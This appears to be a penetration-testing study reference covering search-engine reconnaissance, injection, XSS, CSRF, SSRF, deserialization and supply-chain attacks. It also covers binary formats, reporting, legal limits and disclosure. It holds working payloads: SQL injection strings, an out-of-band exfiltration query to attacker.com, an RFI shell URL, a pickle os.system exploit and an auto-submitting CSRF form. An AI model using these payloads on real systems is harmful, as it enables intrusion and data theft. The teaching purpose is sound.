Penetration Testing and Attack Methodologies

# Configuration files
site:example.com filetype:env OR filetype:yml OR filetype:conf
site:example.com filetype:log
site:example.com filetype:sql

# Exposed directories
intitle:"index of" site:example.com
intitle:"directory listing" site:example.com

# Login portals
inurl:login site:example.com
inurl:admin site:example.com

# Git repositories
inurl:".git" site:example.com

# Backup files
site:example.com filetype:bak OR filetype:old OR filetype:swp

# Error messages revealing technology
"stack trace" site:example.com
"sql syntax" site:example.com
"warning:" site:example.com filetype:php

When to use manual testing:
- Business logic flaws (e.g., negative quantity orders, race conditions in payments)
- Chained vulnerabilities (e.g., XSS + CSRF for account takeover)
- Authentication/authorization edge cases
- API testing beyond what scanners cover
- Cryptographic implementation flaws
- Session management issues
- Custom protocol testing

False positive reduction strategies:
1. Manual verification of every finding
2. Check the exact version (not just "Apache 2.x" but "Apache 2.4.51")
3. Test the exploit against the actual system
4. Check for compensating controls (WAF, IPS)
5. Verify the vulnerability is reachable (not blocked by network segmentation)
6. Cross-reference multiple sources (NVD, vendor advisory, exploit-db)

Injection types:
1. Error-based: Extract data through database error messages
2. Union-based: Append UNION SELECT to extract additional data
3. Boolean-based blind: Infer data by observing true/false responses
4. Time-based blind: Infer data by observing response delays
5. Stacked queries: Execute multiple statements (limited by database)
6. Out-of-band: Extract data via DNS or HTTP channels

# Error-based injection
' OR 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--

# Union-based injection
' UNION SELECT username, password, NULL FROM users--

# Boolean-based blind
' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE role='admin')='a'--

# Time-based blind
'; IF (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' WAITFOR DELAY '0:0:5'--

# Out-of-band (Microsoft SQL Server)
'; DECLARE @q VARCHAR(1024); SET @q='\\'+(SELECT TOP 1 password FROM users)+'.attacker.com\a';
EXEC master..xp_dirtree @q--

XSS payload categories:
- Basic: <script>alert(1)</script>
- Event handler: <img src=x onerror=alert(1)>
- SVG: <svg onload=alert(1)>
- Template injection: {{constructor('alert(1)')()}}
- Attribute breakout: " onfocus=alert(1) autofocus="
- Encoded: %3Cscript%3Ealert(1)%3C/script%3E
- Polyglot: jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(1) )//

<!-- Attacker's page that submits a form to the target -->
<form action="https://bank.example.com/transfer" method="POST" id="csrf">
  <input type="hidden" name="to" value="attacker_account" />
  <input type="hidden" name="amount" value="10000" />
</form>
<script>
  document.getElementById('csrf').submit();
</script>

Common SSRF targets:
- Cloud metadata endpoints (169.254.169.254, fd00:ec2::254)
- Internal network services (Redis on 6379, memcached on 11211)
- Internal web applications and admin panels
- Network infrastructure (routers, switches, firewalls)
- File systems via file:// protocol
- DNS rebinding to bypass allowlists

SSRF bypass techniques:
- IP encoding: 127.0.0.1 = 0x7f000001 = 2130706433 = 0177.0.0.1
- DNS rebinding: resolve to internal IP after allowlist check
- URL parsing tricks: http://allowed@internal:80/
- Redirect chains: http://allowed.com -> http://internal:80/
- IPv6: ::1, ::ffff:127.0.0.1
- Alternative metadata URLs: http://metadata.google.internal/

# Python pickle deserialization -- arbitrary code execution
import pickle, os

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('id > /tmp/pwned',))

payload = pickle.dumps(Exploit())
# When the server unpickles this: pickle.loads(payload) -> runs 'id'

// Java deserialization with Commons Collections
// ysoserial generates payloads that exploit gadget chains
java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin
// Send payload to a Java RMI, JMX, or other deserializing endpoint

Path traversal sequences:
- ../ (Unix and Windows)
- ..\ (Windows)
- ....// (double encoding bypass)
- %2e%2e%2f (URL encoding)
- %252e%252e%252f (double URL encoding)
- ..%c0%af (Unicode encoding)

File inclusion types:
- Local File Inclusion (LFI): include($_GET['file'])
- Remote File Inclusion (RFI): include('http://attacker.com/shell.php')
- PHP wrapper abuse: php://filter/convert.base64-encode/resource=index.php

MITM prerequisites:
1. Position between client and server (same network, BGP hijack, DNS compromise)
2. Ability to intercept traffic (ARP spoofing, rogue access point, compromised switch)
3. Ability to redirect traffic (ARP spoofing, DNS spoofing, route manipulation)

Detection methods:
1. Static ARP entries (impractical at scale)
2. ARP monitoring tools (arpwatch, XArp)
3. Port security on switches (MAC limiting)
4. Dynamic ARP Inspection (DAI) on managed switches
5. Network segmentation to limit broadcast domains

Example typosquatting targets:
- "reqeusts" instead of "requests" (Python)
- "lodssh" instead of "lodash" (JavaScript)
- "cross-env" -> "cross-env.js" (JavaScript, empty package with name collision)
- "python3-dateutil" instead of "python-dateutil" (Python)

Detection:
- Use dependency lockfiles (package-lock.json, Pipfile.lock, Cargo.lock)
- Review new dependencies before adding them
- Monitor package registries for packages with similar names
- Use tools like `npm audit`, `pip-audit`, `cargo audit`

Attack flow:
1. Developer's project depends on "internal-utils" version 1.0.0 (private registry)
2. Attacker publishes "internal-utils" version 99.0.0 on public registry (npm/PyPI)
3. Package manager resolves to the public version (higher version number)
4. Developer's build now includes attacker's code

Mitigations:
- Configure package managers to prefer private registries (npm: .npmrc, pip: --index-url)
- Use scoped packages (npm @company/package)
- Implement package allowlists
- Monitor public registries for internal package names
- Use SLSA framework for build provenance

Attack vectors:
- Credential theft of maintainer accounts
- Social engineering of maintainers
- Adding malicious committers to trusted projects
- Compromising package registry accounts
- Supply chain insider threat (malicious maintainer)

Mitigations:
- Require 2FA for all package registry accounts
- Require multiple reviewers before publishing
- Package provenance verification (SLSA, sigstore)
- Monitor package contents for changes (diff published versions)
- Pin exact versions in production
- Use private registries with curated packages

CI/CD attack surfaces:
1. Compromised build scripts: Malicious code in build.gradle, Makefile, Dockerfile
2. Poisoned build agents: Malicious runner images, compromised build servers
3. Secret exfiltration: Stealing CI/CD secrets (API keys, signing keys) from environment
4. Dependency substitution: Replacing dependencies during build with malicious versions
5. Build logic manipulation: Modifying CI pipeline definitions to inject malicious steps
6. Artifact tampering: Modifying build artifacts after generation but before deployment
7. PR-based attacks: Malicious pull requests that modify CI/CD configuration
8. Workflow injection: GitHub Actions injection via self-hosted runner exploitation

CI/CD hardening:
- Use ephemeral, immutable build agents (containers)
- Least-privilege service accounts for CI/CD
- Sign build artifacts with provenance attestations
- Pin action versions in GitHub Actions (use SHA, not tags)
- Separate build and deployment credentials
- Review all CI/CD configuration changes with same rigor as application code
- Use OIDC federation instead of stored secrets where possible
- Audit CI/CD logs regularly

Attack types:
1. Code signing key theft: Stealing the private key used for signing
2. Signing infrastructure compromise: Compromising the build server that holds the key
3. Malicious signing: Insider signs malicious code with valid certificate
4. Certificate authority compromise: Compromising the CA that issues certificates
5. Signature stripping: Removing or replacing signatures
6. Timestamp forgery: Manipulating code signing timestamps

SBOM standards:
- SPDX (Software Package Data Exchange): ISO standard, widely adopted
- CycloneDX: OWASP project, JSON/XML, lightweight

SBOM contents:
1. Component name and version
2. Component supplier/author
3. Component hash (SHA-256 or similar)
4. Dependency relationships
5. License information
6. Vulnerability references (CVEs)

Tools:
- Syft (Anchore): Generate SBOMs from container images and filesystems
- Trivy: Generate SBOMs as part of vulnerability scanning
- SPDX Tool: Generate and validate SPDX documents
- Dependency-Track: Manage and monitor SBOMs at scale

Attack timeline:
1. Attacker gained access to SolarWinds build environment (months before detection)
2. Injected malicious code into Orion build process (SUNBURST backdoor)
3. Signed malicious updates with valid SolarWinds code signing certificate
4. Distributed to ~18,000 customers via automatic update mechanism
5. Backdoor provided persistent access to victim networks
6. Attacker selectively escalated access on high-value targets

Key lessons:
- Build environment security is as important as application security
- Code signing does not guarantee code is safe (signing key was legitimate)
- Automatic updates are a high-trust operation
- Supply chain attacks can bypass virtually all perimeter defenses
- Need for build provenance and reproducible builds

Attack timeline:
1. "Jia Tan" (pseudonymous maintainer) contributed to xz-utils over 2+ years
2. Built trust and social-engineered original maintainer (Lasse Collin) into reducing involvement
3. Pushed malicious changes to liblzma build system (configure scripts, test files)
4. Backdoor modified the RSA public key verification in OpenSSH's authentication path
5. Only activated when linked by specific systemd configurations (distribution-dependent)
6. Discovered by Andres Freund noticing ~500ms latency in SSH connections on Debian sid
7. Backdoor was present in xz-utils 5.6.0 and 5.6.1 (beta/rc releases)

Key lessons:
- Open source maintainer burnout is a security risk
- Long-term social engineering can be more effective than technical exploits
- Obfuscated build scripts (m4 macro injection) are hard to review
- Performance anomalies can be the first indicator of compromise
- Single-maintainer projects with critical infrastructure dependencies are high-risk
- Need for reproducible builds and deterministic compilation

Decompilation challenges:
1. Lost type information: All variables become integers or pointers
2. Lost structure: Control flow is preserved but high-level abstractions are gone
3. Compiler optimizations: Inlining, loop unrolling, dead code elimination obscure logic
4. Obfuscation: Control flow flattening, string encryption, virtualization
5. Anti-decompilation: Checks for debuggers, integrity checks on code sections

ELF structure:
┌─────────────────────────┐
│ ELF Header              │ Magic number, class, architecture, entry point
├─────────────────────────┤
│ Program Headers         │ Memory layout for loader (segments)
├─────────────────────────┤
│ .text                   │ Executable code
│ .rodata                 │ Read-only data (strings, constants)
│ .data                   │ Initialized global/static variables
│ .bss                    │ Uninitialized global/static variables
│ .got                    │ Global Offset Table (runtime address resolution)
│ .plt                    │ Procedure Linkage Table (lazy function calls)
│ .symtab                 │ Symbol table
│ .strtab                 │ String table
│ .rela/.rel              │ Relocation entries
│ .dynamic                │ Dynamic linking information
├─────────────────────────┤
│ Section Headers         │ Describe sections (names, types, offsets)
└─────────────────────────┘

PE structure:
┌─────────────────────────┐
│ DOS Header              │ MZ magic, points to PE header
├─────────────────────────┤
│ PE Signature            │ "PE\0\0"
├─────────────────────────┤
│ COFF File Header        │ Machine type, number of sections, timestamp
├─────────────────────────┤
│ Optional Header         │ Entry point, image base, subsystem, data directories
│   - Import Table        │ DLLs and functions this binary imports
│   - Export Table        │ Functions this binary exports
│   - Resource Table      │ Icons, dialogs, strings
│   - Base Relocations    │ Address fixups for ASLR
│   - IAT                 │ Import Address Table (resolved import addresses)
│   - TLS Callbacks       │ Thread-local storage initialization
├─────────────────────────┤
│ Section Headers         │ .text, .data, .rdata, .rsrc, etc.
├─────────────────────────┤
│ Sections                │ Raw section data
└─────────────────────────┘

Mach-O structure:
┌─────────────────────────┐
│ Mach-O Header           │ Magic, CPU type, file type, number of load commands
├─────────────────────────┤
│ Load Commands           │ Segment definitions, dynamic linker info, entry point
│   - LC_SEGMENT_64       │ Memory segments (__TEXT, __DATA, __LINKEDIT)
│   - LC_DYLD_INFO        │ Dynamic linking information
│   - LC_SYMTAB           │ Symbol table
│   - LC_DYSYMTAB         │ Dynamic symbol table
│   - LC_LOAD_DYLIB       │ Linked dynamic libraries
│   - LC_MAIN             │ Entry point offset
│   - LC_CODE_SIGNATURE   │ Code signing information
├─────────────────────────┤
│ Sections                │ __text, __stubs, __cstring, __data, etc.
└─────────────────────────┘

Static anti-analysis:
1. String encryption: Encrypt strings, decrypt at runtime
2. Control flow flattening: Replace structured control flow with state machine
3. Code virtualization: Transform code into custom bytecode with custom VM
4. Code obfuscation: Insert junk code, reorder instructions, opaque predicates
5. Packing/compression: Compress executable, decompress at runtime (UPX, Themida)
6. Symbol stripping: Remove debug symbols and function names
7. Import obfuscation: Resolve imports dynamically (GetProcAddress, dlopen)
8. Anti-disassembly: Insert instructions that disassemble differently than they execute

Dynamic anti-analysis:
1. Debugger detection: IsDebuggerPresent, ptrace, timing checks
2. Virtual machine detection: Check for VM artifacts (CPUID, MAC addresses, drivers)
3. Anti-attach: Prevent debugger attachment (NtSetInformationThread)
4. Integrity checks: Verify code sections haven't been modified
5. Anti-dump: Prevent memory dumping of the process
6. Timing checks: Detect single-stepping (RDTSC timing)
7. Environment checks: Detect analysis tools, sandboxes, modified system files

Firmware analysis workflow:
1. Identify the firmware format (binary blobs, UEFI, embedded Linux, router firmware)
2. Extract the filesystem (binwalk, firmware-mod-kit, jefferson)
3. Analyze the filesystem contents (directory structure, binaries, configuration files)
4. Extract and analyze binaries (ELF, proprietary formats)
5. Identify communication protocols (serial, JTAG, SPI, UART)
6. Look for default credentials, hardcoded keys, debug interfaces
7. Identify update mechanisms and sign/verify processes

Common firmware analysis tools:
- binwalk: Signature-based extraction of embedded files and filesystems
- Firmadyne: Automatic firmware emulation and dynamic analysis
- FACT: Firmware Analysis and Comparison Tool
- fuzzware: Firmware fuzzing with QEMU
- Ghidra: Static analysis of extracted binaries

Report structure:

1. Executive Summary (1-2 pages)
   - Overall risk posture
   - Critical findings count
   - Key recommendations
   - Business impact summary

2. Engagement Details
   - Scope (in-scope and out-of-scope)
   - Testing methodology
   - Testing dates and duration
   - Team composition
   - Assumptions and limitations

3. Findings Summary
   - Findings by severity (Critical, High, Medium, Low, Informational)
   - Risk-rated matrix
   - Comparison with previous assessments (if applicable)

4. Detailed Findings (each finding includes)
   - Finding title and severity
   - Description
   - Impact (business and technical)
   - Evidence (screenshots, logs, output)
   - Proof of concept (reproduction steps)
   - CVSS score and vector
   - Remediation recommendations
   - References (CVEs, CWEs, vendor advisories)

5. Appendices
   - Raw tool output
   - Full scan results
   - Glossary
   - Testing methodology details

Effective remediation guidance:
1. Be specific: "Upgrade OpenSSL to version 3.0.1 or later" not "fix OpenSSL"
2. Provide context: Explain why the vulnerability matters in the client's environment
3. Offer alternatives: If immediate upgrade is not possible, suggest compensating controls
4. Prioritize: Clearly state which remediation actions should happen first
5. Reference standards: Link to CWE, NIST, CIS benchmarks where applicable
6. Estimate effort: Give a rough idea of remediation complexity (low/medium/high)
7. Include verification: How to confirm the fix is effective

PoC requirements:
1. Reproducible: Anyone can follow the steps and reproduce the finding
2. Minimal: Demonstrate the issue without causing unnecessary impact
3. Clear: Step-by-step instructions with expected and actual results
4. Documented: Include timestamps, request/response data, screenshots
5. Contained: Do not access or modify more data than necessary to demonstrate

Example PoC format:
Title: SQL Injection in Search Functionality
Severity: Critical
CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE: CWE-89

Steps to reproduce:
1. Navigate to https://target.com/search
2. Enter the following in the search field: " OR 1=1--
3. Observe that the query returns all records from the database

Expected result: Search should return no results or an error message
Actual result: All database records are returned, confirming SQL injection

Evidence:
[Include HTTP request/response, screenshots]

Remediation:
Use parameterized queries. Replace string concatenation with prepared statements.
Reference: OWASP SQL Injection Prevention Cheat Sheet

Key CFAA provisions:
- 18 U.S.C. 1030(a)(2): Intentionally accessing a computer without authorization
  or exceeding authorized access, obtaining information
- 18 U.S.C. 1030(a)(3): Intentionally accessing a non-public government computer
- 18 U.S.C. 1030(a)(4): Knowingly accessing a computer with intent to defraud
- 18 U.S.C. 1030(a)(5): Intentionally causing damage to a computer
- Penalties: Fines and imprisonment (up to 10+ years for repeat offenses)

Key case law implications:
- "Without authorization" and "exceeding authorized access" are broadly interpreted
- Violating terms of service may constitute exceeding authorized access
- Even well-intentioned security research can be prosecuted
- Written authorization is the strongest defense

Standard responsible disclosure timeline:
1. Discover vulnerability
2. Report privately to vendor (security@vendor.com, security.txt)
3. Wait for vendor acknowledgment (typically 5 business days)
4. Vendor develops and tests fix (typically 90 days)
5. Coordinated public disclosure after fix is available
6. If vendor is unresponsive after 90 days, consider public disclosure

Factors that affect timeline:
- Severity of the vulnerability (critical = shorter timeline)
- Active exploitation in the wild (shorten timeline)
- Vendor responsiveness (extend if engaged, shorten if unresponsive)
- Complexity of the fix (extend if remediation is genuinely difficult)
- Number of affected users (scale remediation effort)

Bug bounty best practices:
1. Read the program scope carefully -- test only in-scope assets
2. Respect the program rules -- do not test social engineering unless explicitly allowed
3. Report through the platform -- do not contact the company directly
4. Provide clear reproduction steps -- include all necessary details
5. Do not access PII -- demonstrate the vulnerability without exposing user data
6. Wait for triage -- do not publicly disclose before the program responds
7. Be professional -- maintain a respectful tone in all communications
8. Document everything -- screenshots, HTTP requests/responses, video if helpful

Common scope limitations:
- In-scope: Specific IP ranges, domains, applications
- Out-of-scope: Third-party services, physical access, social engineering
- Safe harbor: Testing within scope is protected; outside scope is not
- Rate limiting: Do not perform denial of service
- Data handling: Do not access, store, or exfiltrate user data
- Reporting: Report through designated channels only
- Public disclosure: Do not disclose before coordinated date

Examples of going out of scope:
- Testing a domain that was not listed in scope
- Scanning IP ranges beyond the authorized block
- Attempting to exploit a system after the testing window has closed
- Testing a third-party service integrated with the target
- Performing social engineering when it was not authorized
- Physical access testing when only remote testing was authorized
- Accessing databases not explicitly listed in scope